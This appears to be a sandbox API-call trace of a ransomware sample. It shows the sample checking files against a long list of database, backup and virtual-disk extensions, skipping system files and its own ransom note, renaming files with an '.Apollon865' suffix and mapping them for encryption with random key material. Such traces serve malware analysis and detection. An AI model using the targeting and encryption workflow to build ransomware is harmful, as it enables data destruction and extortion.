	[0078.334] lstrlenW (lpString="ns3") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.334] lstrlenW (lpString="ns4") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.334] lstrlenW (lpString="nsf") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.334] lstrlenW (lpString="nv") returned 2
	[0078.334] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.334] lstrlenW (lpString="nv2") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.334] lstrlenW (lpString="nwdb") returned 4
	[0078.334] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.334] lstrlenW (lpString="nyf") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.334] lstrlenW (lpString="odb") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.334] lstrlenW (lpString="odb") returned 3
	[0078.334] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.335] lstrlenW (lpString="oqy") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.335] lstrlenW (lpString="ora") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.335] lstrlenW (lpString="orx") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.335] lstrlenW (lpString="owc") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.335] lstrlenW (lpString="p96") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.335] lstrlenW (lpString="p97") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.335] lstrlenW (lpString="pan") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.335] lstrlenW (lpString="pdb") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.335] lstrlenW (lpString="pdm") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.335] lstrlenW (lpString="pnz") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.335] lstrlenW (lpString="qry") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.335] lstrlenW (lpString="qvd") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.335] lstrlenW (lpString="rbf") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.335] lstrlenW (lpString="rctd") returned 4
	[0078.335] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.335] lstrlenW (lpString="rod") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.335] lstrlenW (lpString="rodx") returned 4
	[0078.335] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.335] lstrlenW (lpString="rpd") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.335] lstrlenW (lpString="rsd") returned 3
	[0078.335] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.335] lstrlenW (lpString="sas7bdat") returned 8
	[0078.336] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.336] lstrlenW (lpString="sbf") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.336] lstrlenW (lpString="scx") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.336] lstrlenW (lpString="sdb") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.336] lstrlenW (lpString="sdc") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.336] lstrlenW (lpString="sdf") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.336] lstrlenW (lpString="sis") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.336] lstrlenW (lpString="spq") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.336] lstrlenW (lpString="te") returned 2
	[0078.336] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.336] lstrlenW (lpString="teacher") returned 7
	[0078.336] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.336] lstrlenW (lpString="tmd") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.336] lstrlenW (lpString="tps") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.336] lstrlenW (lpString="trc") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.336] lstrlenW (lpString="trc") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.336] lstrlenW (lpString="trm") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.336] lstrlenW (lpString="udb") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.336] lstrlenW (lpString="udl") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.336] lstrlenW (lpString="usr") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.336] lstrlenW (lpString="v12") returned 3
	[0078.336] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.337] lstrlenW (lpString="vis") returned 3
	[0078.337] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.337] lstrlenW (lpString="vpd") returned 3
	[0078.337] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.337] lstrlenW (lpString="vvv") returned 3
	[0078.337] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.337] lstrlenW (lpString="wdb") returned 3
	[0078.337] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.337] lstrlenW (lpString="wmdb") returned 4
	[0078.337] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.337] lstrlenW (lpString="wrk") returned 3
	[0078.337] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.337] lstrlenW (lpString="xdb") returned 3
	[0078.337] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.337] lstrlenW (lpString="xld") returned 3
	[0078.337] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.337] lstrlenW (lpString="xmlff") returned 5
	[0078.337] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.337] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn.Apollon865") returned 68
	[0078.337] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.345] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x10c
	[0078.345] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=344) returned 1
	[0078.345] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.346] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.346] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfab8
	[0078.346] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfb40) returned 1
	[0078.347] CryptGenRandom (in: hProv=0x5bfb40, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.347] CryptReleaseContext (hProv=0x5bfb40, dwFlags=0x0) returned 1
	[0078.347] CreateFileMappingW (hFile=0x10c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x15c
	[0078.354] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x120000
	[0078.358] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.359] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.359] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.359] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.359] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.359] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.359] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.359] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.359] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.359] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0078.360] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.360] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0078.360] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.360] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0078.360] CloseHandle (hObject=0x15c) returned 1
	[0078.360] CloseHandle (hObject=0x10c) returned 1
	[0078.360] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.360] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfab8 | out: hHeap=0x580000) returned 1
	[0078.360] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.360] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.MSACCESS.DEV.14.1033.hxn", cAlternateFileName="MSMSAC~2.HXN")) returned 1
	[0078.360] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.360] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.360] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".") returned 1
	[0078.360] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="..") returned 1
	[0078.360] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="windows") returned -1
	[0078.360] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.360] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="temp") returned -1
	[0078.360] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.361] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="boot") returned 1
	[0078.361] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.361] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.361] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.361] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.361] lstrlenW (lpString="MS.MSACCESS.DEV.14.1033.hxn") returned 27
	[0078.361] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn") returned 57
	[0078.361] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.MSACCESS.DEV.14.1033.hxn" | out: lpString1="MS.MSACCESS.DEV.14.1033.hxn") returned="MS.MSACCESS.DEV.14.1033.hxn"
	[0078.361] lstrlenW (lpString="MS.MSACCESS.DEV.14.1033.hxn") returned 27
	[0078.361] lstrlenW (lpString="Apollon865") returned 10
	[0078.361] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.361] lstrlenW (lpString=".dll") returned 4
	[0078.361] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0078.361] lstrlenW (lpString=".lnk") returned 4
	[0078.361] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.361] lstrlenW (lpString=".ini") returned 4
	[0078.361] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0078.361] lstrlenW (lpString=".sys") returned 4
	[0078.361] lstrcmpiW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0078.361] lstrlenW (lpString="MS.MSACCESS.DEV.14.1033.hxn") returned 27
	[0078.361] lstrlenW (lpString="bak") returned 3
	[0078.361] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.361] lstrlenW (lpString="ba_") returned 3
	[0078.361] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.361] lstrlenW (lpString="dbb") returned 3
	[0078.361] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.361] lstrlenW (lpString="vmdk") returned 4
	[0078.361] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.361] lstrlenW (lpString="rar") returned 3
	[0078.361] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.361] lstrlenW (lpString="zip") returned 3
	[0078.361] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.361] lstrlenW (lpString="tgz") returned 3
	[0078.361] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.361] lstrlenW (lpString="vbox") returned 4
	[0078.361] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.361] lstrlenW (lpString="vdi") returned 3
	[0078.362] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.362] lstrlenW (lpString="vhd") returned 3
	[0078.362] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.362] lstrlenW (lpString="vhdx") returned 4
	[0078.362] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.362] lstrlenW (lpString="avhd") returned 4
	[0078.362] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.362] lstrlenW (lpString="db") returned 2
	[0078.362] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.362] lstrlenW (lpString="db2") returned 3
	[0078.362] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.362] lstrlenW (lpString="db3") returned 3
	[0078.362] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.362] lstrlenW (lpString="dbf") returned 3
	[0078.362] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.362] lstrlenW (lpString="mdf") returned 3
	[0078.362] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.362] lstrlenW (lpString="mdb") returned 3
	[0078.362] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.362] lstrlenW (lpString="sql") returned 3
	[0078.362] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.362] lstrlenW (lpString="sqlite") returned 6
	[0078.362] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.362] lstrlenW (lpString="sqlite3") returned 7
	[0078.362] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.362] lstrlenW (lpString="sqlitedb") returned 8
	[0078.362] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.362] lstrlenW (lpString="xml") returned 3
	[0078.362] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.362] lstrlenW (lpString="$er") returned 3
	[0078.362] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.362] lstrlenW (lpString="4dd") returned 3
	[0078.362] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.362] lstrlenW (lpString="4dl") returned 3
	[0078.362] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.362] lstrlenW (lpString="^^^") returned 3
	[0078.362] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.363] lstrlenW (lpString="abs") returned 3
	[0078.363] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.363] lstrlenW (lpString="abx") returned 3
	[0078.363] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.363] lstrlenW (lpString="accdb") returned 5
	[0078.363] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.363] lstrlenW (lpString="accdc") returned 5
	[0078.363] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.363] lstrlenW (lpString="accde") returned 5
	[0078.363] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.363] lstrlenW (lpString="accdr") returned 5
	[0078.363] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.363] lstrlenW (lpString="accdt") returned 5
	[0078.363] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.363] lstrlenW (lpString="accdw") returned 5
	[0078.363] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.363] lstrlenW (lpString="accft") returned 5
	[0078.363] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.363] lstrlenW (lpString="adb") returned 3
	[0078.363] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.363] lstrlenW (lpString="adb") returned 3
	[0078.363] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.363] lstrlenW (lpString="ade") returned 3
	[0078.363] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.363] lstrlenW (lpString="adf") returned 3
	[0078.363] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.363] lstrlenW (lpString="adn") returned 3
	[0078.363] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.363] lstrlenW (lpString="adp") returned 3
	[0078.363] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.363] lstrlenW (lpString="alf") returned 3
	[0078.363] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.363] lstrlenW (lpString="ask") returned 3
	[0078.363] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.363] lstrlenW (lpString="btr") returned 3
	[0078.363] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.363] lstrlenW (lpString="cat") returned 3
	[0078.364] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.364] lstrlenW (lpString="cdb") returned 3
	[0078.364] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.364] lstrlenW (lpString="ckp") returned 3
	[0078.364] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.364] lstrlenW (lpString="cma") returned 3
	[0078.364] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.364] lstrlenW (lpString="cpd") returned 3
	[0078.364] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.364] lstrlenW (lpString="dacpac") returned 6
	[0078.364] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.364] lstrlenW (lpString="dad") returned 3
	[0078.364] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.364] lstrlenW (lpString="dadiagrams") returned 10
	[0078.364] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.364] lstrlenW (lpString="daschema") returned 8
	[0078.364] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.364] lstrlenW (lpString="db-journal") returned 10
	[0078.364] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.364] lstrlenW (lpString="db-shm") returned 6
	[0078.364] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.364] lstrlenW (lpString="db-wal") returned 6
	[0078.364] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.364] lstrlenW (lpString="dbc") returned 3
	[0078.364] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.364] lstrlenW (lpString="dbs") returned 3
	[0078.364] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.364] lstrlenW (lpString="dbt") returned 3
	[0078.364] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.364] lstrlenW (lpString="dbv") returned 3
	[0078.364] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.364] lstrlenW (lpString="dbx") returned 3
	[0078.364] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.364] lstrlenW (lpString="dcb") returned 3
	[0078.364] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.364] lstrlenW (lpString="dct") returned 3
	[0078.364] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.365] lstrlenW (lpString="dcx") returned 3
	[0078.365] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.365] lstrlenW (lpString="ddl") returned 3
	[0078.365] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.365] lstrlenW (lpString="dlis") returned 4
	[0078.365] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.365] lstrlenW (lpString="dp1") returned 3
	[0078.365] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.365] lstrlenW (lpString="dqy") returned 3
	[0078.365] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.365] lstrlenW (lpString="dsk") returned 3
	[0078.365] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.365] lstrlenW (lpString="dsn") returned 3
	[0078.365] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.365] lstrlenW (lpString="dtsx") returned 4
	[0078.365] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.365] lstrlenW (lpString="dxl") returned 3
	[0078.365] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.365] lstrlenW (lpString="eco") returned 3
	[0078.365] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.365] lstrlenW (lpString="ecx") returned 3
	[0078.365] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.365] lstrlenW (lpString="edb") returned 3
	[0078.365] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.365] lstrlenW (lpString="epim") returned 4
	[0078.365] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.365] lstrlenW (lpString="fcd") returned 3
	[0078.365] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.365] lstrlenW (lpString="fdb") returned 3
	[0078.365] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.365] lstrlenW (lpString="fic") returned 3
	[0078.365] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.365] lstrlenW (lpString="flexolibrary") returned 12
	[0078.365] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.365] lstrlenW (lpString="fm5") returned 3
	[0078.365] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.365] lstrlenW (lpString="fmp") returned 3
	[0078.366] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.366] lstrlenW (lpString="fmp12") returned 5
	[0078.366] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.366] lstrlenW (lpString="fmpsl") returned 5
	[0078.366] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.366] lstrlenW (lpString="fol") returned 3
	[0078.366] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.366] lstrlenW (lpString="fp3") returned 3
	[0078.366] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.366] lstrlenW (lpString="fp4") returned 3
	[0078.366] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.366] lstrlenW (lpString="fp5") returned 3
	[0078.366] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.366] lstrlenW (lpString="fp7") returned 3
	[0078.366] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.366] lstrlenW (lpString="fpt") returned 3
	[0078.366] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.366] lstrlenW (lpString="frm") returned 3
	[0078.366] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.366] lstrlenW (lpString="gdb") returned 3
	[0078.366] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.366] lstrlenW (lpString="gdb") returned 3
	[0078.366] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.366] lstrlenW (lpString="grdb") returned 4
	[0078.366] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.366] lstrlenW (lpString="gwi") returned 3
	[0078.366] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.366] lstrlenW (lpString="hdb") returned 3
	[0078.366] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.366] lstrlenW (lpString="his") returned 3
	[0078.366] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.366] lstrlenW (lpString="ib") returned 2
	[0078.366] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.366] lstrlenW (lpString="idb") returned 3
	[0078.366] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.366] lstrlenW (lpString="ihx") returned 3
	[0078.366] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.367] lstrlenW (lpString="itdb") returned 4
	[0078.367] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.367] lstrlenW (lpString="itw") returned 3
	[0078.367] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.367] lstrlenW (lpString="jet") returned 3
	[0078.367] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.367] lstrlenW (lpString="jtx") returned 3
	[0078.367] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.367] lstrlenW (lpString="kdb") returned 3
	[0078.367] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.367] lstrlenW (lpString="kexi") returned 4
	[0078.367] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.367] lstrlenW (lpString="kexic") returned 5
	[0078.367] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.367] lstrlenW (lpString="kexis") returned 5
	[0078.367] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.367] lstrlenW (lpString="lgc") returned 3
